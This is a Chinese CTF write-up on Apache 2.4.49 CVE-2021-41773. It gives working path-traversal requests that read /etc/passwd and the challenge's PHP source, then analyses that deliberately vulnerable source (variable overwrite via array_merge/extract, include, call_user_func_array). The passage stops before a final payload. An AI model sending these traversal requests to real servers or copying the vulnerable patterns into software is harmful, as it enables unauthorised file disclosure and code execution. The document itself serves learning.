打开环境(◡ᴗ◡✿)
乍一看什么都没有,F12下没看到js文件,但是看到了出题师傅的提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”
这时候在思考文件在上层目录中,既然是目录下那就试一下dirsearch扫描先看看后台都有什么(这里就直接展示一下扫描结果,收到了一部分新师傅的私信说之前的题解虽然讲了在那些题目下Kali,bp的使用方法但是没说具体的,后边会单独出教程的T-T这里就不多说了)
这里出现了几个很重要的关键词“cgi-bin”“.%2e”想到了之前偶然间看到的两篇博客:“CVE-2021-41773--Jay 17”“Apache httpd CVE-2021-41773 漏洞分析”简单来说就是:在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时, ap_normalize_path()函数会对路径参数先进行 url 解码,然后判断是否存在 ../路径穿越符。结果就是如果路径中存在 %2e./形式,程序就会检测到路径穿越符。然而,当出现 .%2e 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。那么就可以活用到这道题目。
打开BP,本地环境修改以后刷新网页进行抓包(ρ_・).。:
在发包界面点击Repeater,进入可修改发包界面,在url栏修改代码然后发包:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
代码形式参考kali扫描结果!^_~
修改成下图:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
可以看到已经可以有目录了,那么开始想既然当前目录是/var/www/html,那上层就是/var/www/想起来刚才说源码在xxx.php.txt那应该有最原始的index吧?O.o,先做尝试?
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1
有了!ヾ(^▽^*))) index.php长这样!
<?php error_reporting(0); define("main","main"); include "Class.php"; $temp = new Temp($_POST); $temp->display($_GET['filename']); ?>
看了一下源码!Class.php?好啊,看来同目录下还有个这个那直接找一下,刚才的文件叫“xxx.php.txt”这个也一样喽?
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1
Class.php长这样!
<?php defined('main') or die("no!!"); Class Temp{ private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg']; private $template; public function __construct($data){ $this->date = array_merge($this->date,$data); } public function getTempName($template,$dir){ if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); if(!is_file($this->template)){ die("no!!"); } } else{ $this->template = './template/index.html'; } } public function display($template,$space=''){ extract($this->date); $this->getTempName($template,$space); include($this->template); } public function listdata($_params){ $system = [ 'db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '', ]; $param = $where = []; $_params = trim($_params); $params = explode(' ', $_params); if (in_array($params[0], ['list','function'])) { $params[0] = 'action='.$params[0]; } foreach ($params as $t) { $var = substr($t, 0, strpos($t, '=')); $val = substr($t, strpos($t, '=') + 1); if (!$var) { continue; } if (isset($system[$var])) { $system[$var] = $val; } else { $param[$var] = $val; } } // action switch ($system['action']) { case 'function': if (!isset($param['name'])) { return 'hacker!!'; } elseif (!function_exists($param['name'])) { return 'hacker!!'; } $force = $param['force']; if (!$force) { $p = []; foreach ($param as $var => $t) { if (strpos($var, 'param') === 0) { $n = intval(substr($var, 5)); $p[$n] = $t; } } if ($p) { $rt = call_user_func_array($param['name'], $p); } else { $rt = call_user_func($param['name']); } return $rt; }else{ return null; } case 'list': return json_encode($this->date); } return null; } }
我了个豆T.T,这么长啊打开Vscode建在一个工程下
先分析一下
首先,这里调用了Temp作为类,并构造方式传参,传参方式是POST。然后调用了Temp中Display作为方式传,Get形式提交filename
代码放这里对照看一下
1.先看一下“temp”类吧:
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg']; private $template; public function __construct($data){ $this->date = array_merge($this->date,$data);
可以看到用了array_merge()函数,简单介绍一下吧:array_merge()出现时,则合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名则合并后为参数2数组中对应键的值,发生了覆盖。(造成变量覆)盖然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
这里附上php手册上的例子:
2.往下分析display:
public function display($template,$space=''){ extract($this->date); $this->getTempName($template,$space); include($this->template);
可以看出来有两个魔术方法分别是“extract()”以及“include()”那么直接查手册得到这两个方法含义:
extract()
:从数组中将变量导入到当前的符号表。
include()
:包含一个文件。
3.再看getTempName():
public function getTempName($template,$dir){ if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); if(!is_file($this->template)){ die("no!!"); } } else{ $this->template = './template/index.html'; } }
可以看到句子意思是:如果传入getTempName()中形参dir是admin,那么就对template的属性:
$this->template
进行一个拼接,拼接过程为属性,同时进行替换过滤。过滤内容为:
'..','','./template/admin/'
其中
is_file()
用于检查是否是文件。
4.最后检查一下listdata():
public function listdata($_params){ $system = [ 'db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '', ]; $param = $where = []; $_params = trim($_params); $params = explode(' ', $_params); if (in_array($params[0], ['list','function'])) { $params[0] = 'action='.$params[0]; } foreach ($params as $t) { $var = substr($t, 0, strpos($t, '=')); $val = substr($t, strpos($t, '=') + 1); if (!$var) { continue; } if (isset($system[$var])) { $system[$var] = $val; } else { $param[$var] = $val; } } // action switch ($system['action']) { case 'function': if (!isset($param['name'])) { return 'hacker!!'; } elseif (!function_exists($param['name'])) { return 'hacker!!'; } $force = $param['force']; if (!$force) { $p = []; foreach ($param as $var => $t) { if (strpos($var, 'param') === 0) { $n = intval(substr($var, 5)); $p[$n] = $t; } } if ($p) { $rt = call_user_func_array($param['name'], $p); } else { $rt = call_user_func($param['name']); } return $rt; }else{ return null; } case 'list': return json_encode($this->date); } return null; } }
trim()
:去除字符串首尾处的空白字符。in_array()
:检查数组中是否存在某个值。
foreach()
:遍历给定的数组。
strpos()
:查找字符串首次出现的位置
function_exists()
:如果给定的函数已经被定义就返回“ture”
intval()
:获取变量的整数值
call_user_func_array()
:call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func()
:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
json_encode()
:进行json格式的加密
explode()
:根据指定的分隔符将一个字符串拆分为一个数组的子字符串。比如说原来$ _ params=“1 2 3 E”,explode处理后为$params=[“1”,“2”,“3”,“E”]